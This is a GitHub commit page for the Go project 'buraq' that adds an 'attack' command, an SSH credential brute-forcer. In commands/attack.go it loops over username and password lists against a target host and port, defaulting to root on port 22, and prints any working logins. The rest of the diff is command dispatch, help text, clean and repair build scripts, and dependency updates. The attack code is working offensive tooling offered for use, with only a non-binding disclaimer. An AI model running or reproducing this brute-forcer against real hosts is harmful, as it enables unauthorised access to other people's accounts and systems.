Skip to content

Commit 35f4a08

Browse files
NovusEdgeNovusEdge
andauthored
Implementing attack command for buraq (#4)
* Added a simple yet effective way to execute CLI commands * Moving 'clean' and 'repair' to commands/ * Added simple function to check if provided credentials are valid/work * Simplified the CLIs working * Updated sum and mod files * Adding missing go get commands * Finally added the bruteforcing program, need to integrate with main binary * Completed implementation of attack and fixed minor bugs Co-authored-by: NovusEdge <novusedge@gmail.com>
1 parent ad1c4e4 commit 35f4a08

File tree

12 files changed

+1000440
-70
lines changed

12 files changed

+1000440
-70
lines changed

buraq.go

Lines changed: 75 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -16,26 +16,90 @@ import (
1616
"log"
1717
"os"
1818
"os/exec"
19+
"path/filepath"
1920

21+
src "github.com/NovusEdge/buraq/src"
2022
utils "github.com/NovusEdge/buraq/utils"
2123
)
2224

2325
// ENV is the environment variables for the program
2426
var ENV = utils.GetEnv()
2527

2628
func main() {
27-
// Checking if no commands are passed in and if the binary is simply being called...
28-
if len(os.Args) < 2 {
29-
var out bytes.Buffer
30-
cmd := exec.Command(fmt.Sprintf("%s/cmdbin/help", ENV["BURAQROOT"]))
31-
cmd.Stdout = &out
32-
33-
err := cmd.Run()
34-
if err != nil {
35-
log.Fatal(err)
36-
}
29+
checkCommand(os.Args)
30+
executeCommand(os.Args)
31+
}
3732

38-
fmt.Print(out.String())
33+
func checkCommand(args []string) {
34+
var ok bool
35+
if len(args) < 2 {
36+
help()
3937
os.Exit(0)
4038
}
39+
40+
cmd := args[1]
41+
for _, c := range src.ValidCommands() {
42+
if cmd == c {
43+
ok = true
44+
}
45+
}
46+
47+
if !ok {
48+
fmt.Println(utils.ColorIt(utils.ColorRed, "[E]: Invalid command!\nUse \"buraq help\" to show the usage for buraq."))
49+
os.Exit(1)
50+
}
51+
52+
}
53+
54+
func executeCommand(args []string) {
55+
var cmd *exec.Cmd
56+
var out bytes.Buffer
57+
58+
command := args[1]
59+
commandString := filepath.Join(ENV["BURAQCMDBIN"], command)
60+
61+
if len(args) > 1 {
62+
cmd = exec.Command(commandString, args[2:]...)
63+
} else {
64+
cmd = exec.Command(commandString, args...)
65+
}
66+
67+
cmd.Stdout = &out
68+
err := cmd.Run()
69+
70+
if err != nil {
71+
log.Fatal(err)
72+
os.Exit(1)
73+
}
74+
if s := out.String(); s != "" {
75+
fmt.Println(s)
76+
}
77+
}
78+
79+
func env() {
80+
var out bytes.Buffer
81+
cmd := exec.Command(fmt.Sprintf("%s/env", ENV["BURAQCMDBIN"]))
82+
cmd.Stdout = &out
83+
84+
err := cmd.Run()
85+
86+
if err != nil {
87+
log.Fatal(err)
88+
}
89+
90+
fmt.Println(out.String())
91+
}
92+
93+
func help() {
94+
var out bytes.Buffer
95+
cmd := exec.Command(fmt.Sprintf("%s/help", ENV["BURAQCMDBIN"]))
96+
cmd.Stdout = &out
97+
98+
err := cmd.Run()
99+
100+
if err != nil {
101+
log.Fatal(err)
102+
}
103+
104+
fmt.Println(out.String())
41105
}

commands/attack.go

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
package main
2+
3+
/*
4+
// Author: Aliasgar Khimani (NovusEdge)
5+
// Project: github.com/NovusEdge/buraq
6+
//
7+
// Copyright: GNU General Public License v3.0
8+
// See the LICENSE file for more info.
9+
//
10+
// All Rights Reserved
11+
*/
12+
13+
import (
14+
"flag"
15+
"fmt"
16+
"io/ioutil"
17+
"log"
18+
"os"
19+
"strings"
20+
"sync"
21+
"time"
22+
23+
src "github.com/NovusEdge/buraq/src"
24+
utils "github.com/NovusEdge/buraq/utils"
25+
)
26+
27+
func main() {
28+
flag.Usage = func() {
29+
fmt.Println(src.CommandAttackHelp)
30+
}
31+
32+
if len(os.Args) < 2 {
33+
fmt.Println(utils.ColorIt(utils.ColorYellow, "[!]: No options provided!\nRun 'buraq help attack' for usage information."))
34+
os.Exit(0)
35+
}
36+
37+
var t int
38+
var port uint
39+
var user string
40+
var proto string
41+
var passlist string
42+
var userlist string
43+
var timeout time.Duration
44+
45+
flag.UintVar(&port, "port", 22, "Specifies the port on which target is hosting it's ssh service")
46+
47+
flag.StringVar(&proto, "proto", "tcp", "Specify protocol used for the attack. (tcp/udp)")
48+
49+
flag.StringVar(&user, "user", "root", "Specifies the username to use for the attack.")
50+
flag.StringVar(&userlist, "userlist", "", "Specifies a username-list for the attack.")
51+
52+
var HOME = utils.GetHomeDirectory()
53+
flag.StringVar(&passlist, "passlist", HOME+"/.buraq/passlist.txt", "Specify the list of passwords to be used during the attack.")
54+
55+
flag.IntVar(&t, "timeout", 500, "Specifies the timeout between each attack attempt in milliseconds.")
56+
57+
flag.Parse()
58+
59+
timeout = time.Duration(t) * time.Millisecond
60+
target := os.Args[len(os.Args)-1]
61+
62+
attack(proto, target, port, user, userlist, passlist, timeout)
63+
}
64+
65+
func attack(proto string, host string, port uint, username string, userlist string, passlist string, timeout time.Duration) {
66+
var wg sync.WaitGroup
67+
var usernames = []string{username}
68+
69+
passwords := splitPasslist(passlist)
70+
71+
if userlist != "" {
72+
content, err := ioutil.ReadFile(userlist)
73+
if err != nil {
74+
log.Fatal(err)
75+
os.Exit(1)
76+
}
77+
78+
usernames = append(usernames, strings.Split(string(content), "\n")...)
79+
}
80+
81+
for _, uname := range usernames {
82+
wg.Add(1)
83+
go attackWithUsername(proto, host, uname, passwords, timeout, port, &wg)
84+
}
85+
wg.Wait()
86+
87+
}
88+
89+
func attackWithUsername(proto, host, username string, passlist []string, timeout time.Duration, port uint, wg *sync.WaitGroup) {
90+
for _, pass := range passlist {
91+
ok, _ := src.AttemptConnection(proto, username, host, pass, port, timeout)
92+
if ok {
93+
fmt.Println(utils.ColorIt(utils.ColorGreen, fmt.Sprintf("[+]: Found Working login:\n\tUsername: %s\n\tPassword: %s", username, pass)))
94+
}
95+
wg.Done()
96+
}
97+
98+
}
99+
100+
func splitPasslist(passlist string) []string {
101+
file, err := ioutil.ReadFile(passlist)
102+
if err != nil {
103+
log.Fatal(err)
104+
os.Exit(1)
105+
}
106+
107+
return strings.Split(string(file), "\n")
108+
}

tools/clean.go renamed to commands/clean.go

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,4 +28,13 @@ func main() {
2828
for _, file := range bin {
2929
os.RemoveAll(path.Join([]string{env["BURAQBIN"], file.Name()}...))
3030
}
31+
32+
bin, err = ioutil.ReadDir(env["BURAQCMDBIN"])
33+
if err != nil {
34+
log.Fatal(err)
35+
}
36+
37+
for _, file := range bin {
38+
os.RemoveAll(path.Join([]string{env["BURAQCMDBIN"], file.Name()}...))
39+
}
3140
}

commands/help.go

Lines changed: 24 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,33 @@ package main
1212

1313
import (
1414
"fmt"
15+
"os"
1516

1617
src "github.com/NovusEdge/buraq/src"
18+
utils "github.com/NovusEdge/buraq/utils"
1719
)
1820

1921
func main() {
20-
fmt.Println("buraq", src.Version, "(c) 2022 by Aliasgar Khimani (NovusEdge) - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).")
21-
fmt.Println(src.HelpScreen)
22+
if len(os.Args) < 2 {
23+
fmt.Println("buraq", src.Version, "(c) 2022 by Aliasgar Khimani (NovusEdge) - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).")
24+
fmt.Println(src.HelpScreen)
25+
} else {
26+
cmd := os.Args[1]
27+
switch cmd {
28+
case "help":
29+
fmt.Println(src.CommandHelpHelp)
30+
case "env":
31+
fmt.Println(src.CommandEnvHelp)
32+
case "attack":
33+
fmt.Println(src.CommandAttackHelp)
34+
case "version":
35+
fmt.Println(src.CommandVersionHelp)
36+
case "clean":
37+
fmt.Println(src.CommandCleanHelp)
38+
case "repair":
39+
fmt.Println(src.CommandRepairHelp)
40+
default:
41+
fmt.Println(utils.ColorIt(utils.ColorRed, fmt.Sprintf("[E]: Invalid Command: '%s'\nPlease use 'buarq help' for usage", cmd)))
42+
}
43+
}
2244
}

commands/repair.go

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
package main
2+
3+
/*
4+
// Author: Aliasgar Khimani (NovusEdge)
5+
// Project: github.com/NovusEdge/buraq
6+
//
7+
// Copyright: GNU General Public License v3.0
8+
// See the LICENSE file for more info.
9+
//
10+
// All Rights Reserved
11+
*/
12+
13+
import (
14+
"fmt"
15+
utils "github.com/NovusEdge/buraq/utils"
16+
"io/ioutil"
17+
"log"
18+
"os"
19+
"os/exec"
20+
)
21+
22+
func main() {
23+
env := utils.GetEnv()
24+
25+
// Cleaning binaries...
26+
cleaningErr := exec.Command(fmt.Sprintf("%s/clean", env["BURAQCMDBIN"])).Run()
27+
if cleaningErr != nil {
28+
log.Fatal(cleaningErr)
29+
}
30+
31+
// Rebuilding binaries...
32+
os.Chdir(env["BURAQROOT"])
33+
34+
mainErr := exec.Command("go", "build", "-o", fmt.Sprintf("%s/bin/", env["BURAQROOT"]), fmt.Sprintf("%s/buraq.go", env["BURAQROOT"])).Run()
35+
if mainErr != nil {
36+
log.Fatal(mainErr)
37+
}
38+
39+
cmds, err := ioutil.ReadDir(fmt.Sprintf("%s/commands", env["BURAQROOT"]))
40+
if err != nil {
41+
log.Fatal(err)
42+
}
43+
44+
for _, file := range cmds {
45+
err = exec.Command("go", "build", "-o", fmt.Sprintf("%s/cmdbin/", env["BURAQROOT"]), fmt.Sprintf("%s/commands/%s", env["BURAQROOT"], file.Name())).Run()
46+
if err != nil {
47+
log.Fatal(err)
48+
}
49+
}
50+
}

go.mod

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,17 @@
11
module github.com/NovusEdge/buraq
22

33
go 1.18
4+
5+
require (
6+
github.com/schollz/progressbar v1.0.0
7+
github.com/schollz/progressbar/v3 v3.8.6
8+
golang.org/x/crypto v0.0.0-20220131195533-30dcbda58838
9+
)
10+
11+
require (
12+
github.com/mattn/go-runewidth v0.0.13 // indirect
13+
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
14+
github.com/rivo/uniseg v0.2.0 // indirect
15+
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 // indirect
16+
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
17+
)

go.sum

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,32 +1,54 @@
11
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
22
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
3+
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
4+
github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
35
github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8=
46
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
7+
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
8+
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
9+
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
510
github.com/melbahja/goph v1.3.0 h1:RAIS7eL2tew/UrNmBpY2NZMxw6fWtOxki9nkrzw8mZY=
611
github.com/melbahja/goph v1.3.0/go.mod h1:04M6J+mKmwzAOWhO0ABTweHGU3cizOp90WdCoxrn9gQ=
12+
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
13+
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
714
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
815
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
916
github.com/pkg/sftp v1.13.4 h1:Lb0RYJCmgUcBgZosfoi9Y9sbl6+LJgOIgk/2Y4YjMFg=
1017
github.com/pkg/sftp v1.13.4/go.mod h1:LzqnAvaD5TWeNBsZpfKxSYn1MbjWwOsCIAFFJbpIsK8=
1118
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
1219
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
20+
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
21+
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
22+
github.com/schollz/progressbar v1.0.0 h1:gbyFReLHDkZo8mxy/dLWMr+Mpb1MokGJ1FqCiqacjZM=
23+
github.com/schollz/progressbar v1.0.0/go.mod h1:/l9I7PC3L3erOuz54ghIRKUEFcosiWfLvJv+Eq26UMs=
24+
github.com/schollz/progressbar/v3 v3.8.6 h1:QruMUdzZ1TbEP++S1m73OqRJk20ON11m6Wqv4EoGg8c=
25+
github.com/schollz/progressbar/v3 v3.8.6/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY=
1326
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
27+
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
1428
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
1529
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
1630
golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
1731
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
32+
golang.org/x/crypto v0.0.0-20220131195533-30dcbda58838 h1:71vQrMauZZhcTVK6KdYM+rklehEEwb3E+ZhaE5jrPrE=
33+
golang.org/x/crypto v0.0.0-20220131195533-30dcbda58838/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
1834
golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4 h1:kUhD7nTDoI3fVd9G4ORWrbV5NY0liEs/Jg2pv5f+bBA=
1935
golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
2036
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
37+
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
2138
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
39+
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
2240
golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
2341
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
42+
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
2443
golang.org/x/sys v0.0.0-20211031064116-611d5d643895 h1:iaNpwpnrgL5jzWS0vCNnfa8HqzxveCFpFx3uC/X4Tps=
2544
golang.org/x/sys v0.0.0-20211031064116-611d5d643895/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
45+
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 h1:XDXtA5hveEEV8JB2l7nhMTp3t3cHp9ZpwcdjqyEWLlo=
46+
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
2647
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
2748
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
2849
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
2950
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
51+
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
3052
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
3153
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
3254
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=

0 commit comments

Comments
 (0)